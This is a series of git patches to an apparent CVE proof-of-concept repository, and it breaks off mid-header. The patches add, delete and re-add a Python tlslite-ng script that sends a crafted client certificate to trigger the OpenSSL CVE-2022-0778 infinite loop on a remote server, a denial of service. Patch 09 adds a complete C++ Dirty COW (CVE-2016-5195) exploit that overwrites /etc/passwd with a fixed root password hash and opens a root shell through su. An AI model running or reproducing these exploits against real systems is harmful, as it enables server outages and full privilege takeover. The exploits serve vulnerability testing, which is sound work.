From ba0160ef4481aa743a3b1b8357387c19c367eb37 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 14:32:15 +0000 Subject: [PATCH 01/23] update cve/openssl/2022/CVE-2022-0778/README.md. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/openssl/2022/CVE-2022-0778/README.md | 40 ++++++++++++++++++++++-- 1 file changed, 37 insertions(+), 3 deletions(-) diff --git a/cve/openssl/2022/CVE-2022-0778/README.md b/cve/openssl/2022/CVE-2022-0778/README.md index 58c70fbb..f9bbe03b 100644 --- a/cve/openssl/2022/CVE-2022-0778/README.md +++ b/cve/openssl/2022/CVE-2022-0778/README.md @@ -1,6 +1,40 @@ +A simple remote triggering POC for CVE-2022-0778 -The prerequisite is having installed gcc and a vulnerable version of OpenSSL. +### Why +While trying to validate whether server implementations on our side where/are vulnerable to CVE-2022-0778, it +proved extremely cumbersome to do so remotely. Instructions to create maliciously crafted certificates to trigger +the parsing bug in `BN_nod_sqrt()` [have been around](https://github.com/drago-96/CVE-2022-0778) for a while now +but the main issue is that most client implementations would try to parse the client certificate in order to use +it in the TLS handshake. This in turn meant, that +- if the implementation was vulnerable the bug would be triggered and the client consume 100% and stall. +- if the implementation was not vulnerable, the certificate could not be parsed and client would, rightfully so, exit. -POC of BN_mod_sqrt(): compile with gcc -o bad_BN bad_BN.c -lcrypto, run ./bad_BN +### What +What was actually needed, was to be able to inject a message in the TLS handshake so that we can replace the contents +of the Certificate message that the client sends to the server in response to the CertificateRequest message. -REF: https://github.com/drago-96/CVE-2022-0778 \ No newline at end of file +### How +This depends on [tlslite-ng](https://github.com/tlsfuzzer/tlslite-ng) and overrides the `TLSConnection._clientKeyExchange` +method so that during a TLS handshake with a possibly vulnerable server: + +1. We send a ClientHello message as we would normally do +2. We consume the ServerHelloMessage and check if it contains a CertificateRequest +3. If it does, we construct an arbitrary Certificate message, loading the DER encoded crafted certificate from disk +4. Send the crafted message to the server and expect it will parse it, possibly triggering CVE-2022-0778 + +The `crafted.crt` is created based on the instructions in https://github.com/drago-96/CVE-2022-0778#using-asn1-templates, +feel free to recreate this if you wish so. + +### Usage +``` +usage: main.py [-h] [--server SERVER] [--port PORT] + +Parameters + +optional arguments: + -h, --help show this help message and exit + --server SERVER Name of the server to connect for the TLS handshake, + defaults to "localhost" + --port PORT Port where server listens for TLS connections, defaults to + "443" +``` \ No newline at end of file -- Gitee From 97dbad4ef05b38d5ce2123fe95a14817ab220ee2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 14:33:12 +0000 Subject: [PATCH 02/23] add cve/openssl/2022/CVE-2022-0778.py. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/openssl/2022/CVE-2022-0778.py | 88 +++++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 cve/openssl/2022/CVE-2022-0778.py diff --git a/cve/openssl/2022/CVE-2022-0778.py b/cve/openssl/2022/CVE-2022-0778.py new file mode 100644 index 00000000..73a50754 --- /dev/null +++ b/cve/openssl/2022/CVE-2022-0778.py @@ -0,0 +1,88 @@ +from socket import socket, AF_INET, SOCK_STREAM + +from tlslite import TLSConnection +from tlslite.constants import * +from tlslite.messages import CertificateRequest, HandshakeMsg +from tlslite.utils.codec import Writer +import argparse + + +class CraftedTLSConnection(TLSConnection): + + def _clientKeyExchange(self, settings, cipherSuite, + clientCertChain, privateKey, + certificateType, + tackExt, clientRandom, serverRandom, + keyExchange): + if cipherSuite in CipherSuite.certAllSuites: + # Consume server certificate message + for result in self._getMsg(ContentType.handshake, + HandshakeType.certificate, + certificateType): + if result in (0, 1): + yield result + else: + break + + if cipherSuite not in CipherSuite.certSuites: + # possibly consume SKE message + for result in self._getMsg(ContentType.handshake, + HandshakeType.server_key_exchange, + cipherSuite): + if result in (0, 1): + yield result + else: + break + + # Consume Certificate request if any, if not bail + for result in self._getMsg(ContentType.handshake, + (HandshakeType.certificate_request, + HandshakeType.server_hello_done)): + if isinstance(result, CertificateRequest): + craftedCertificate = CraftedCertificate(certificateType) + + craftedCertificate.create(open('crafted.crt', "rb").read()) + for r in self._sendMsg(craftedCertificate): + yield r + print("Crafted Certificate msg sent, check server.") + exit(0) + + else: + print("Server does not support TLS client authentication, nothing to do.") + exit(1) + + +class CraftedCertificate(HandshakeMsg): + def __init__(self, certificateType): + HandshakeMsg.__init__(self, HandshakeType.certificate) + self.certificateType = certificateType + self.certChain = None + self.der = bytearray(0) + + def create(self, certBytes): + self.der = certBytes + + def write(self): + w = Writer() + if self.certificateType == CertificateType.x509: + chainLength = len(self.der) + 3 + w.add(chainLength, 3) + w.addVarSeq(self.der, 1, 3) + else: + raise AssertionError() + return self.postWrite(w) + + +def run(server, port): + sock = socket(AF_INET, SOCK_STREAM) + sock.connect((server, port)) + connection = CraftedTLSConnection(sock) + connection.handshakeClientCert() + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Parameters') + parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost') + parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443) + args = parser.parse_args() + run(args.server, args.port) \ No newline at end of file -- Gitee From 106f8f9c60c0dd5515672329bd6ed1c32dcfa6f0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 14:33:43 +0000 Subject: [PATCH 03/23] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/openssl/2022/CVE-2022-0778.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/openssl/2022/CVE-2022-0778.py | 88 ------------------------------- 1 file changed, 88 deletions(-) delete mode 100644 cve/openssl/2022/CVE-2022-0778.py diff --git a/cve/openssl/2022/CVE-2022-0778.py b/cve/openssl/2022/CVE-2022-0778.py deleted file mode 100644 index 73a50754..00000000 --- a/cve/openssl/2022/CVE-2022-0778.py +++ /dev/null @@ -1,88 +0,0 @@ -from socket import socket, AF_INET, SOCK_STREAM - -from tlslite import TLSConnection -from tlslite.constants import * -from tlslite.messages import CertificateRequest, HandshakeMsg -from tlslite.utils.codec import Writer -import argparse - - -class CraftedTLSConnection(TLSConnection): - - def _clientKeyExchange(self, settings, cipherSuite, - clientCertChain, privateKey, - certificateType, - tackExt, clientRandom, serverRandom, - keyExchange): - if cipherSuite in CipherSuite.certAllSuites: - # Consume server certificate message - for result in self._getMsg(ContentType.handshake, - HandshakeType.certificate, - certificateType): - if result in (0, 1): - yield result - else: - break - - if cipherSuite not in CipherSuite.certSuites: - # possibly consume SKE message - for result in self._getMsg(ContentType.handshake, - HandshakeType.server_key_exchange, - cipherSuite): - if result in (0, 1): - yield result - else: - break - - # Consume Certificate request if any, if not bail - for result in self._getMsg(ContentType.handshake, - (HandshakeType.certificate_request, - HandshakeType.server_hello_done)): - if isinstance(result, CertificateRequest): - craftedCertificate = CraftedCertificate(certificateType) - - craftedCertificate.create(open('crafted.crt', "rb").read()) - for r in self._sendMsg(craftedCertificate): - yield r - print("Crafted Certificate msg sent, check server.") - exit(0) - - else: - print("Server does not support TLS client authentication, nothing to do.") - exit(1) - - -class CraftedCertificate(HandshakeMsg): - def __init__(self, certificateType): - HandshakeMsg.__init__(self, HandshakeType.certificate) - self.certificateType = certificateType - self.certChain = None - self.der = bytearray(0) - - def create(self, certBytes): - self.der = certBytes - - def write(self): - w = Writer() - if self.certificateType == CertificateType.x509: - chainLength = len(self.der) + 3 - w.add(chainLength, 3) - w.addVarSeq(self.der, 1, 3) - else: - raise AssertionError() - return self.postWrite(w) - - -def run(server, port): - sock = socket(AF_INET, SOCK_STREAM) - sock.connect((server, port)) - connection = CraftedTLSConnection(sock) - connection.handshakeClientCert() - - -if __name__ == '__main__': - parser = argparse.ArgumentParser(description='Parameters') - parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost') - parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443) - args = parser.parse_args() - run(args.server, args.port) \ No newline at end of file -- Gitee From 183d965e63dc697b90b88f807f80e43473ae607e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 14:34:04 +0000 Subject: [PATCH 04/23] add cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- .../2022/CVE-2022-0778/CVE-2022-0778.py | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py diff --git a/cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py b/cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py new file mode 100644 index 00000000..73a50754 --- /dev/null +++ b/cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py @@ -0,0 +1,88 @@ +from socket import socket, AF_INET, SOCK_STREAM + +from tlslite import TLSConnection +from tlslite.constants import * +from tlslite.messages import CertificateRequest, HandshakeMsg +from tlslite.utils.codec import Writer +import argparse + + +class CraftedTLSConnection(TLSConnection): + + def _clientKeyExchange(self, settings, cipherSuite, + clientCertChain, privateKey, + certificateType, + tackExt, clientRandom, serverRandom, + keyExchange): + if cipherSuite in CipherSuite.certAllSuites: + # Consume server certificate message + for result in self._getMsg(ContentType.handshake, + HandshakeType.certificate, + certificateType): + if result in (0, 1): + yield result + else: + break + + if cipherSuite not in CipherSuite.certSuites: + # possibly consume SKE message + for result in self._getMsg(ContentType.handshake, + HandshakeType.server_key_exchange, + cipherSuite): + if result in (0, 1): + yield result + else: + break + + # Consume Certificate request if any, if not bail + for result in self._getMsg(ContentType.handshake, + (HandshakeType.certificate_request, + HandshakeType.server_hello_done)): + if isinstance(result, CertificateRequest): + craftedCertificate = CraftedCertificate(certificateType) + + craftedCertificate.create(open('crafted.crt', "rb").read()) + for r in self._sendMsg(craftedCertificate): + yield r + print("Crafted Certificate msg sent, check server.") + exit(0) + + else: + print("Server does not support TLS client authentication, nothing to do.") + exit(1) + + +class CraftedCertificate(HandshakeMsg): + def __init__(self, certificateType): + HandshakeMsg.__init__(self, HandshakeType.certificate) + self.certificateType = certificateType + self.certChain = None + self.der = bytearray(0) + + def create(self, certBytes): + self.der = certBytes + + def write(self): + w = Writer() + if self.certificateType == CertificateType.x509: + chainLength = len(self.der) + 3 + w.add(chainLength, 3) + w.addVarSeq(self.der, 1, 3) + else: + raise AssertionError() + return self.postWrite(w) + + +def run(server, port): + sock = socket(AF_INET, SOCK_STREAM) + sock.connect((server, port)) + connection = CraftedTLSConnection(sock) + connection.handshakeClientCert() + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Parameters') + parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost') + parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443) + args = parser.parse_args() + run(args.server, args.port) \ No newline at end of file -- Gitee From 63db385768d3c1885130a0eaa5b1cc0919027fc5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 15:09:39 +0000 Subject: [PATCH 05/23] update cve/openssl/2022/CVE-2022-0778/README.md. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/openssl/2022/CVE-2022-0778/README.md | 40 ------------------------ 1 file changed, 40 deletions(-) diff --git a/cve/openssl/2022/CVE-2022-0778/README.md b/cve/openssl/2022/CVE-2022-0778/README.md index f9bbe03b..e69de29b 100644 --- a/cve/openssl/2022/CVE-2022-0778/README.md +++ b/cve/openssl/2022/CVE-2022-0778/README.md @@ -1,40 +0,0 @@ -A simple remote triggering POC for CVE-2022-0778 - -### Why -While trying to validate whether server implementations on our side where/are vulnerable to CVE-2022-0778, it -proved extremely cumbersome to do so remotely. Instructions to create maliciously crafted certificates to trigger -the parsing bug in `BN_nod_sqrt()` [have been around](https://github.com/drago-96/CVE-2022-0778) for a while now -but the main issue is that most client implementations would try to parse the client certificate in order to use -it in the TLS handshake. This in turn meant, that -- if the implementation was vulnerable the bug would be triggered and the client consume 100% and stall. -- if the implementation was not vulnerable, the certificate could not be parsed and client would, rightfully so, exit. - -### What -What was actually needed, was to be able to inject a message in the TLS handshake so that we can replace the contents -of the Certificate message that the client sends to the server in response to the CertificateRequest message. - -### How -This depends on [tlslite-ng](https://github.com/tlsfuzzer/tlslite-ng) and overrides the `TLSConnection._clientKeyExchange` -method so that during a TLS handshake with a possibly vulnerable server: - -1. We send a ClientHello message as we would normally do -2. We consume the ServerHelloMessage and check if it contains a CertificateRequest -3. If it does, we construct an arbitrary Certificate message, loading the DER encoded crafted certificate from disk -4. Send the crafted message to the server and expect it will parse it, possibly triggering CVE-2022-0778 - -The `crafted.crt` is created based on the instructions in https://github.com/drago-96/CVE-2022-0778#using-asn1-templates, -feel free to recreate this if you wish so. - -### Usage -``` -usage: main.py [-h] [--server SERVER] [--port PORT] - -Parameters - -optional arguments: - -h, --help show this help message and exit - --server SERVER Name of the server to connect for the TLS handshake, - defaults to "localhost" - --port PORT Port where server listens for TLS connections, defaults to - "443" -``` \ No newline at end of file -- Gitee From e936550ec7205b6a10a8f2ab2518d1bf9038f09d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 15:09:52 +0000 Subject: [PATCH 06/23] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/openssl/2022/CVE-2022-0778/CVE-2022-0778.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2022/CVE-2022-0778/CVE-2022-0778.py | 88 ------------------- 1 file changed, 88 deletions(-) delete mode 100644 cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py diff --git a/cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py b/cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py deleted file mode 100644 index 73a50754..00000000 --- a/cve/openssl/2022/CVE-2022-0778/CVE-2022-0778.py +++ /dev/null @@ -1,88 +0,0 @@ -from socket import socket, AF_INET, SOCK_STREAM - -from tlslite import TLSConnection -from tlslite.constants import * -from tlslite.messages import CertificateRequest, HandshakeMsg -from tlslite.utils.codec import Writer -import argparse - - -class CraftedTLSConnection(TLSConnection): - - def _clientKeyExchange(self, settings, cipherSuite, - clientCertChain, privateKey, - certificateType, - tackExt, clientRandom, serverRandom, - keyExchange): - if cipherSuite in CipherSuite.certAllSuites: - # Consume server certificate message - for result in self._getMsg(ContentType.handshake, - HandshakeType.certificate, - certificateType): - if result in (0, 1): - yield result - else: - break - - if cipherSuite not in CipherSuite.certSuites: - # possibly consume SKE message - for result in self._getMsg(ContentType.handshake, - HandshakeType.server_key_exchange, - cipherSuite): - if result in (0, 1): - yield result - else: - break - - # Consume Certificate request if any, if not bail - for result in self._getMsg(ContentType.handshake, - (HandshakeType.certificate_request, - HandshakeType.server_hello_done)): - if isinstance(result, CertificateRequest): - craftedCertificate = CraftedCertificate(certificateType) - - craftedCertificate.create(open('crafted.crt', "rb").read()) - for r in self._sendMsg(craftedCertificate): - yield r - print("Crafted Certificate msg sent, check server.") - exit(0) - - else: - print("Server does not support TLS client authentication, nothing to do.") - exit(1) - - -class CraftedCertificate(HandshakeMsg): - def __init__(self, certificateType): - HandshakeMsg.__init__(self, HandshakeType.certificate) - self.certificateType = certificateType - self.certChain = None - self.der = bytearray(0) - - def create(self, certBytes): - self.der = certBytes - - def write(self): - w = Writer() - if self.certificateType == CertificateType.x509: - chainLength = len(self.der) + 3 - w.add(chainLength, 3) - w.addVarSeq(self.der, 1, 3) - else: - raise AssertionError() - return self.postWrite(w) - - -def run(server, port): - sock = socket(AF_INET, SOCK_STREAM) - sock.connect((server, port)) - connection = CraftedTLSConnection(sock) - connection.handshakeClientCert() - - -if __name__ == '__main__': - parser = argparse.ArgumentParser(description='Parameters') - parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost') - parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443) - args = parser.parse_args() - run(args.server, args.port) \ No newline at end of file -- Gitee From 3c0c0afec38ba53a8b016a3db126a8f5036405e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 15:16:10 +0000 Subject: [PATCH 07/23] update cve/openssl/2022/CVE-2022-0778/README.md. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/openssl/2022/CVE-2022-0778/README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cve/openssl/2022/CVE-2022-0778/README.md b/cve/openssl/2022/CVE-2022-0778/README.md index e69de29b..58c70fbb 100644 --- a/cve/openssl/2022/CVE-2022-0778/README.md +++ b/cve/openssl/2022/CVE-2022-0778/README.md @@ -0,0 +1,6 @@ + +The prerequisite is having installed gcc and a vulnerable version of OpenSSL. + +POC of BN_mod_sqrt(): compile with gcc -o bad_BN bad_BN.c -lcrypto, run ./bad_BN + +REF: https://github.com/drago-96/CVE-2022-0778 \ No newline at end of file -- Gitee From 094fd8b3f725ca4eade5314ba88ea5660931b029 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:31:05 +0000 Subject: [PATCH 08/23] =?UTF-8?q?=E6=96=B0=E5=BB=BA=202016?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/linux-kernel/2016/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/linux-kernel/2016/.keep diff --git a/cve/linux-kernel/2016/.keep b/cve/linux-kernel/2016/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From be76f3de12dc266621eb07b01446c15cc2206fe6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:33:45 +0000 Subject: [PATCH 09/23] add cve/linux-kernel/2016/CVE-2016-5195.cpp. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/CVE-2016-5195.cpp | 292 ++++++++++++++++++++++++ 1 file changed, 292 insertions(+) create mode 100644 cve/linux-kernel/2016/CVE-2016-5195.cpp diff --git a/cve/linux-kernel/2016/CVE-2016-5195.cpp b/cve/linux-kernel/2016/CVE-2016-5195.cpp new file mode 100644 index 00000000..c0c98e4f --- /dev/null +++ b/cve/linux-kernel/2016/CVE-2016-5195.cpp @@ -0,0 +1,292 @@ +// ----------------------------------------------------------------- +// Copyright (C) 2017 Gabriele Bonacini +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 3 of the License, or +// (at your option) any later version. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software Foundation, +// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +// ----------------------------------------------------------------- + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define BUFFSIZE 1024 +#define DEFSLTIME 300000 +#define PWDFILE "/etc/passwd" +#define BAKFILE "./.ssh_bak" +#define TMPBAKFILE "/tmp/.ssh_bak" +#define PSM "/proc/self/mem" +#define ROOTID "root:" +#define SSHDID "sshd:" +#define MAXITER 300 +#define DEFPWD "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/" +#define TXTPWD "dirtyCowFun\n" +#define DISABLEWB "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n" +#define EXITCMD "exit\n" +#define CPCMD "\\cp " +#define RMCMD "\\rm " + +using namespace std; + +class Dcow{ + private: + bool rawMode, opShell, restPwd; + int fd, master, wstat; + string root, user, sshd; + pthread_t writerThr, madviseThr, checkerThr; + ofstream *extPwdBak; + struct passwd *userId; + pid_t child; + char buffv[BUFFSIZE]; + fd_set rfds; + struct termios termOld, termNew; + + int result(int ret, bool shell); + void exitOnError(string msg); + public: + int iter; + ssize_t ign; + bool run; + void *map; + ifstream *extPwd; + string etcPwd, etcPwdBak, buffer, pwd; + Dcow(bool opSh, bool rstPwd); + ~Dcow(void); + int expl(void); +}; + +Dcow::Dcow(bool opSh, bool rstPwd) : rawMode(false), opShell(opSh), restPwd(rstPwd), + wstat(0), root(ROOTID), sshd(SSHDID), extPwdBak(NULL), + child(0), iter(0), run(true), extPwd(NULL), + pwd(DEFPWD) { + userId = getpwuid(getuid()); + user.append(userId->pw_name).append(":"); + extPwd = new ifstream(PWDFILE); + while (getline(*extPwd, buffer)){ + buffer.append("\n"); + etcPwdBak.append(buffer); + if(buffer.find(root) == 0){ + etcPwd.insert(0, root).insert(root.size(), pwd); + etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), + buffer.begin() + buffer.find(":", root.size()), buffer.end()); + }else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){ + etcPwd.insert(0, buffer); + }else{ + etcPwd.append(buffer); + } + } + extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE); + extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size()); + extPwdBak->close(); + fd = open(PWDFILE,O_RDONLY); + map = mmap(NULL, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0); +} + +Dcow::~Dcow(void){ + extPwd->close(); + close(fd); + delete extPwd; delete extPwdBak; + if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld); + if(child != 0) wait(&wstat); +} + +void Dcow::exitOnError(string msg){ + cerr << msg << endl; + throw new exception(); +} + +int Dcow::result(int ret, bool shell){ + string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n"; + if(ret <= MAXITER){cerr << msg; return 0;} + else{cerr << "Exploit failed.\n"; return 1;} +} + +void* madviser(void *par){ + Dcow* obj = reinterpret_cast(par); + while(obj->run){ madvise(obj->map, obj->etcPwdBak.size(), MADV_DONTNEED);} + return NULL; +} + +void* writer(void *par){ + Dcow* obj = reinterpret_cast(par); + int fpsm = open(PSM,O_RDWR); + while(obj->run){ lseek(fpsm, reinterpret_cast(obj->map), SEEK_SET); + obj->ign = write(fpsm, obj->etcPwd.c_str(), obj->etcPwdBak.size()); + } + return NULL; +} + +void* checker(void *par){ + Dcow* obj = reinterpret_cast(par); + while(obj->iter <= MAXITER){ + obj->extPwd->clear(); + obj->extPwd->seekg(0, ios::beg); + obj->buffer.assign(istreambuf_iterator(*(obj->extPwd)), istreambuf_iterator()); + if(obj->buffer.find(obj->pwd) != string::npos && obj->buffer.size() >= obj->etcPwdBak.size()){ + obj->run = false; + break; + } + obj->iter ++; + usleep(DEFSLTIME); + } + obj->run = false; + return NULL; +} + +int Dcow::expl(void){ + + if(pthread_create(&madviseThr, NULL, madviser, reinterpret_cast(this)) != 0){ + cerr << "Can't create madviser thread" << endl; + throw new exception(); + } + if(pthread_create(&writerThr, NULL, writer, reinterpret_cast(this)) != 0){ + cerr << "Can't create writer thread" << endl; + throw new exception(); + } + if(pthread_create(&checkerThr, NULL, checker, reinterpret_cast(this)) != 0){ + cerr << "Can't create checker thread" << endl; + throw new exception(); + } + + cerr << "Running ..." << endl; + pthread_join(madviseThr, NULL); + pthread_join(writerThr, NULL); + pthread_join(checkerThr, NULL); + + if(iter <= MAXITER){ + child = forkpty(&master, NULL, NULL, NULL); + + if(child == -1) exitOnError("Error forking pty."); + + if(child == 0){ + execlp("su", "su", "-", NULL); + exitOnError("Error on exec."); + } + + if(opShell) cerr << "Password overridden to: " << TXTPWD << endl; + memset(buffv, 0, BUFFSIZE); + ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1); + if(bytes_read <= 0) exitOnError("Error reading su prompt."); + cerr << "Received su prompt (" << buffv << ")" << endl; + + if(write(master, TXTPWD, strlen(TXTPWD)) <= 0) + exitOnError("Error writing pwd on tty."); + + if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0) + exitOnError("Error writing cmd on tty."); + + if(!opShell){ + if(write(master, EXITCMD, strlen(EXITCMD)) <= 0) + exitOnError("Error writing exit cmd on tty."); + }else{ + if(restPwd){ + string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n"); + if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) + exitOnError("Error writing restore cmd on tty."); + restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n"); + if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0) + exitOnError("Error writing restore cmd (rm) on tty."); + } + + if(tcgetattr(STDIN_FILENO, &termOld) == -1 ) + exitOnError("Error getting terminal attributes."); + + termNew = termOld; + termNew.c_lflag &= static_cast(~(ICANON | ECHO)); + + if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1) + exitOnError("Error setting terminal in non-canonical mode."); + rawMode = true; + + while(true){ + FD_ZERO(&rfds); + FD_SET(master, &rfds); + FD_SET(STDIN_FILENO, &rfds); + + if(select(master + 1, &rfds, NULL, NULL, NULL) < 0 ) + exitOnError("Error on select tty."); + + if(FD_ISSET(master, &rfds)) { + memset(buffv, 0, BUFFSIZE); + bytes_read = read(master, buffv, BUFFSIZE - 1); + if(bytes_read <= 0) break; + if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read) + exitOnError("Error writing on stdout."); + } + + if(FD_ISSET(STDIN_FILENO, &rfds)) { + memset(buffv, 0, BUFFSIZE); + bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1); + if(bytes_read <= 0) exitOnError("Error reading from stdin."); + if(write(master, buffv, bytes_read) != bytes_read) break; + } + } + } + } + + return result(iter, opShell); +} + +void printInfo(char* cmd){ + cerr << cmd << " [-s] [-n] | [-h]\n" << endl; + cerr << " -s open directly a shell, if the exploit is successful;" << endl; + cerr << " -n combined with -s, doesn't restore the passwd file." << endl; + cerr << " -h print this synopsis;" << endl; + cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl; + cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl; + cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl; + exit(1); +} + +int main(int argc, char** argv){ + const char flags[] = "shn"; + int c; + bool opShell = false, + restPwd = argc != 1 ? true : false; + + opterr = 0; + while ((c = getopt(argc, argv, flags)) != -1){ + switch (c){ + case 's': + opShell = true; + break; + case 'n': + restPwd = false; + break; + case 'h': + printInfo(argv[0]); + break; + default: + cerr << "Invalid parameter." << endl << endl; + printInfo(argv[0]); + } + } + + if(!restPwd && !opShell && argc != 1){ + cerr << "Invalid parameter: -n requires -s" << endl << endl; + printInfo(argv[0]); + } + + Dcow dcow(opShell, restPwd); + return dcow.expl(); +} \ No newline at end of file -- Gitee From 41ba67109204594fea932d0913876af60b6baae4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:33:57 +0000 Subject: [PATCH 10/23] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/linux-kernel/2016/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/linux-kernel/2016/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/linux-kernel/2016/.keep diff --git a/cve/linux-kernel/2016/.keep b/cve/linux-kernel/2016/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From a3f9977043570bc056ae38ac48a28206b5273de1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:34:17 +0000 Subject: [PATCH 11/23] add cve/linux-kernel/2016. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 刘安迪 --- cve/linux-kernel/2016/README.MD | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/linux-kernel/2016/README.MD diff --git a/cve/linux-kernel/2016/README.MD b/cve/linux-kernel/2016/README.MD new file mode 100644 index 00000000..e69de29b -- Gitee From b658eea26ca22d7952b3d94de9dea9e2df258763 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E5=AE=89=E8=BF=AA?= Date: Wed, 15 Mar 2023 16:35:06 +0000 Subject: [PATCH 